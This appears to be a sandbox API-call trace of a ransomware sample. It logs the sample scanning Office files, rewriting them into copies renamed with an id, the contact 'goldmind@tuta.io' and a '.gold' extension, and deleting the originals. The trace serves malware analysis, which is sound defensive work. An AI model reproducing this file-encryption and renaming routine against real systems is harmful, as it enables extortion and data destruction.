[0109.405] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0109.405] lstrlenW (lpString=".rar") returned 4 [0109.405] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0109.405] lstrlenW (lpString=".bz2") returned 4 [0109.405] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0109.405] lstrlenW (lpString=".7z") returned 3 [0109.405] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0109.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0109.405] lstrlenW (lpString=".dbf") returned 4 [0109.405] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0109.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0109.405] lstrlenW (lpString=".1cd") returned 4 [0109.405] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0109.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0109.405] lstrlenW (lpString=".jpg") returned 4 [0109.405] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0109.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0109.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0109.405] lstrlenW (lpString=".doc") returned 4 [0109.405] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0109.405] lstrlenW (lpString=".docx") returned 5 [0109.405] lstrcmpiW (lpString1=".docx", lpString2="X.DLL") returned -1 [0109.405] lstrlenW (lpString=".pdf") returned 4 [0109.405] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0109.405] lstrlenW (lpString=".xls") returned 4 [0109.405] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0109.405] lstrlenW (lpString=".xlsx") returned 5 [0109.405] lstrcmpiW (lpString1=".xlsx", lpString2="X.DLL") returned -1 [0109.405] lstrlenW (lpString=".ppt") returned 4 [0109.405] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0109.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0109.405] lstrlenW (lpString=".zip") returned 4 [0109.405] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0109.405] lstrlenW (lpString=".rar") returned 4 [0109.406] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0109.406] lstrlenW (lpString=".bz2") returned 4 [0109.406] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0109.406] lstrlenW (lpString=".7z") returned 3 [0109.406] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0109.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0109.406] lstrlenW (lpString=".dbf") returned 4 [0109.406] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0109.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0109.406] lstrlenW (lpString=".1cd") returned 4 [0109.406] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0109.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0109.406] lstrlenW (lpString=".jpg") returned 4 [0109.406] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0109.406] lstrcmpiW (lpString1=".ACL", lpString2=".gold") returned -1 [0109.406] lstrlenW (lpString="MSO.ACL") returned 7 [0109.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\mso.acl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0109.407] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=43558) returned 1 [0109.407] CloseHandle (hObject=0x180) returned 1 [0109.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\mso.acl")) returned 0x20 [0109.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\mso.acl.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\mso.acl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0109.407] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.407] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\mso.acl.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0109.519] GetLastError () returned 0x0 [0109.519] ReadFile (in: hFile=0x180, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0xaa26, lpOverlapped=0x0) returned 1 [0109.580] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xaa30, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xaa30, lpOverlapped=0x0) returned 1 [0109.581] ReadFile (in: hFile=0x180, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.582] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0109.582] SetEndOfFile (hFile=0x3a0) returned 1 [0109.582] CloseHandle (hObject=0x3a0) returned 1 [0109.582] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.582] SetEndOfFile (hFile=0x180) returned 1 [0109.584] CloseHandle (hObject=0x180) returned 1 [0109.584] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.584] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\mso.acl")) returned 1 [0109.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0109.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0109.585] lstrlenW (lpString=".doc") returned 4 [0109.585] lstrcmpiW (lpString1=".doc", lpString2=".ACL") returned 1 [0109.585] lstrlenW (lpString=".docx") returned 5 [0109.585] lstrcmpiW (lpString1=".docx", lpString2="O.ACL") returned -1 [0109.585] lstrlenW (lpString=".pdf") returned 4 [0109.585] lstrcmpiW (lpString1=".pdf", lpString2=".ACL") returned 1 [0109.585] lstrlenW (lpString=".xls") returned 4 [0109.585] lstrcmpiW (lpString1=".xls", lpString2=".ACL") returned 1 [0109.585] lstrlenW (lpString=".xlsx") returned 5 [0109.585] lstrcmpiW (lpString1=".xlsx", lpString2="O.ACL") returned -1 [0109.585] lstrlenW (lpString=".ppt") returned 4 [0109.585] lstrcmpiW (lpString1=".ppt", lpString2=".ACL") returned 1 [0109.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0109.585] lstrlenW (lpString=".zip") returned 4 [0109.585] lstrcmpiW (lpString1=".zip", lpString2=".ACL") returned 1 [0109.585] lstrlenW (lpString=".rar") returned 4 [0109.585] lstrcmpiW (lpString1=".rar", lpString2=".ACL") returned 1 [0109.585] lstrlenW (lpString=".bz2") returned 4 [0109.585] lstrcmpiW (lpString1=".bz2", lpString2=".ACL") returned 1 [0109.585] lstrlenW (lpString=".7z") returned 3 [0109.585] lstrcmpiW (lpString1=".7z", lpString2="ACL") returned -1 [0109.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0109.586] lstrlenW (lpString=".dbf") returned 4 [0109.586] lstrcmpiW (lpString1=".dbf", lpString2=".ACL") returned 1 [0109.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0109.586] lstrlenW (lpString=".1cd") returned 4 [0109.586] lstrcmpiW (lpString1=".1cd", lpString2=".ACL") returned -1 [0109.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0109.586] lstrlenW (lpString=".jpg") returned 4 [0109.586] lstrcmpiW (lpString1=".jpg", lpString2=".ACL") returned 1 [0109.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0109.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0109.586] lstrlenW (lpString=".doc") returned 4 [0109.586] lstrcmpiW (lpString1=".doc", lpString2=".ACL") returned 1 [0109.586] lstrlenW (lpString=".docx") returned 5 [0109.586] lstrcmpiW (lpString1=".docx", lpString2="O.ACL") returned -1 [0109.586] lstrlenW (lpString=".pdf") returned 4 [0109.586] lstrcmpiW (lpString1=".pdf", lpString2=".ACL") returned 1 [0109.586] lstrlenW (lpString=".xls") returned 4 [0109.586] lstrcmpiW (lpString1=".xls", lpString2=".ACL") returned 1 [0109.586] lstrlenW (lpString=".xlsx") returned 5 [0109.586] lstrcmpiW (lpString1=".xlsx", lpString2="O.ACL") returned -1 [0109.586] lstrlenW (lpString=".ppt") returned 4 [0109.586] lstrcmpiW (lpString1=".ppt", lpString2=".ACL") returned 1 [0109.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0109.586] lstrlenW (lpString=".zip") returned 4 [0109.586] lstrcmpiW (lpString1=".zip", lpString2=".ACL") returned 1 [0109.586] lstrlenW (lpString=".rar") returned 4 [0109.586] lstrcmpiW (lpString1=".rar", lpString2=".ACL") returned 1 [0109.586] lstrlenW (lpString=".bz2") returned 4 [0109.586] lstrcmpiW (lpString1=".bz2", lpString2=".ACL") returned 1 [0109.586] lstrlenW (lpString=".7z") returned 3 [0109.586] lstrcmpiW (lpString1=".7z", lpString2="ACL") returned -1 [0109.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0109.586] lstrlenW (lpString=".dbf") returned 4 [0109.586] lstrcmpiW (lpString1=".dbf", lpString2=".ACL") returned 1 [0109.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0109.586] lstrlenW (lpString=".1cd") returned 4 [0109.586] lstrcmpiW (lpString1=".1cd", lpString2=".ACL") returned -1 [0109.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0109.586] lstrlenW (lpString=".jpg") returned 4 [0109.586] lstrcmpiW (lpString1=".jpg", lpString2=".ACL") returned 1 [0109.586] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0109.586] lstrlenW (lpString="ACCDDSLM.DLL") returned 12 [0109.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accddslm.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0109.622] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=552368) returned 1 [0109.622] CloseHandle (hObject=0x230) returned 1 [0109.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accddslm.dll")) returned 0x20 [0109.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\accddslm.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accddslm.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0109.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0109.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0109.623] lstrlenW (lpString=".doc") returned 4 [0109.623] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0109.623] lstrlenW (lpString=".docx") returned 5 [0109.623] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0109.623] lstrlenW (lpString=".pdf") returned 4 [0109.623] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0109.623] lstrlenW (lpString=".xls") returned 4 [0109.623] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0109.623] lstrlenW (lpString=".xlsx") returned 5 [0109.623] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0109.623] lstrlenW (lpString=".ppt") returned 4 [0109.623] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0109.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0109.623] lstrlenW (lpString=".zip") returned 4 [0109.623] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0109.623] lstrlenW (lpString=".rar") returned 4 [0109.623] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0109.623] lstrlenW (lpString=".bz2") returned 4 [0109.623] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0109.623] lstrlenW (lpString=".7z") returned 3 [0109.623] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0109.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0109.623] lstrlenW (lpString=".dbf") returned 4 [0109.623] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0109.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0109.623] lstrlenW (lpString=".1cd") returned 4 [0109.623] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0109.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0109.624] lstrlenW (lpString=".jpg") returned 4 [0109.624] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0109.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0109.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0109.624] lstrlenW (lpString=".doc") returned 4 [0109.624] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0109.624] lstrlenW (lpString=".docx") returned 5 [0109.624] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0109.624] lstrlenW (lpString=".pdf") returned 4 [0109.624] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0109.624] lstrlenW (lpString=".xls") returned 4 [0109.624] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0109.624] lstrlenW (lpString=".xlsx") returned 5 [0109.624] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0109.624] lstrlenW (lpString=".ppt") returned 4 [0109.624] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0109.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0109.624] lstrlenW (lpString=".zip") returned 4 [0109.624] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0109.624] lstrlenW (lpString=".rar") returned 4 [0109.624] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0109.624] lstrlenW (lpString=".bz2") returned 4 [0109.624] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0109.624] lstrlenW (lpString=".7z") returned 3 [0109.624] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0109.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0109.624] lstrlenW (lpString=".dbf") returned 4 [0109.624] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0109.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0109.624] lstrlenW (lpString=".1cd") returned 4 [0109.624] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0109.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0109.624] lstrlenW (lpString=".jpg") returned 4 [0109.624] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0109.624] lstrcmpiW (lpString1=".EXE", lpString2=".gold") returned -1 [0109.624] lstrlenW (lpString="ACCICONS.EXE") returned 12 [0109.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\accicons.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0109.625] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=1449312) returned 1 [0109.625] CloseHandle (hObject=0x230) returned 1 [0109.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\accicons.exe")) returned 0x20 [0109.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\accicons.exe.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\accicons.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0109.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0109.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0109.625] lstrlenW (lpString=".doc") returned 4 [0109.625] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0109.625] lstrlenW (lpString=".docx") returned 5 [0109.625] lstrcmpiW (lpString1=".docx", lpString2="S.EXE") returned -1 [0109.625] lstrlenW (lpString=".pdf") returned 4 [0109.625] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0109.625] lstrlenW (lpString=".xls") returned 4 [0109.625] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0109.625] lstrlenW (lpString=".xlsx") returned 5 [0109.625] lstrcmpiW (lpString1=".xlsx", lpString2="S.EXE") returned -1 [0109.625] lstrlenW (lpString=".ppt") returned 4 [0109.626] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0109.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0109.626] lstrlenW (lpString=".zip") returned 4 [0109.626] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0109.626] lstrlenW (lpString=".rar") returned 4 [0109.626] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0109.626] lstrlenW (lpString=".bz2") returned 4 [0109.626] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0109.626] lstrlenW (lpString=".7z") returned 3 [0109.626] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0109.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0109.626] lstrlenW (lpString=".dbf") returned 4 [0109.626] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0109.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0109.626] lstrlenW (lpString=".1cd") returned 4 [0109.626] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0109.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0109.626] lstrlenW (lpString=".jpg") returned 4 [0109.626] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0109.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0109.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0109.626] lstrlenW (lpString=".doc") returned 4 [0109.626] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0109.626] lstrlenW (lpString=".docx") returned 5 [0109.626] lstrcmpiW (lpString1=".docx", lpString2="S.EXE") returned -1 [0109.626] lstrlenW (lpString=".pdf") returned 4 [0109.626] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0109.626] lstrlenW (lpString=".xls") returned 4 [0109.626] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0109.626] lstrlenW (lpString=".xlsx") returned 5 [0109.626] lstrcmpiW (lpString1=".xlsx", lpString2="S.EXE") returned -1 [0109.626] lstrlenW (lpString=".ppt") returned 4 [0109.626] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0109.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0109.626] lstrlenW (lpString=".zip") returned 4 [0109.626] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0109.626] lstrlenW (lpString=".rar") returned 4 [0109.626] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0109.626] lstrlenW (lpString=".bz2") returned 4 [0109.626] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0109.626] lstrlenW (lpString=".7z") returned 3 [0109.626] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0109.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0109.626] lstrlenW (lpString=".dbf") returned 4 [0109.626] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0109.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0109.626] lstrlenW (lpString=".1cd") returned 4 [0109.626] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0109.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0109.626] lstrlenW (lpString=".jpg") returned 4 [0109.626] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0109.627] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0109.627] lstrlenW (lpString="ACCVDT.DLL") returned 10 [0109.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accvdt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0109.627] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=4532616) returned 1 [0109.627] CloseHandle (hObject=0x230) returned 1 [0109.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accvdt.dll")) returned 0x20 [0109.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\accvdt.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.627] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accvdt.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\accvdt.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0109.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0109.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0109.628] lstrlenW (lpString=".doc") returned 4 [0109.628] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0109.628] lstrlenW (lpString=".docx") returned 5 [0109.628] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0109.628] lstrlenW (lpString=".pdf") returned 4 [0109.628] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0109.628] lstrlenW (lpString=".xls") returned 4 [0109.628] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0109.628] lstrlenW (lpString=".xlsx") returned 5 [0109.628] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0109.628] lstrlenW (lpString=".ppt") returned 4 [0109.628] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0109.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0109.628] lstrlenW (lpString=".zip") returned 4 [0109.628] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0109.628] lstrlenW (lpString=".rar") returned 4 [0109.628] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0109.628] lstrlenW (lpString=".bz2") returned 4 [0109.628] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0109.628] lstrlenW (lpString=".7z") returned 3 [0109.628] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0109.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0109.628] lstrlenW (lpString=".dbf") returned 4 [0109.628] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0109.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0109.628] lstrlenW (lpString=".1cd") returned 4 [0109.628] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0109.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0109.628] lstrlenW (lpString=".jpg") returned 4 [0109.628] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0109.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0109.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 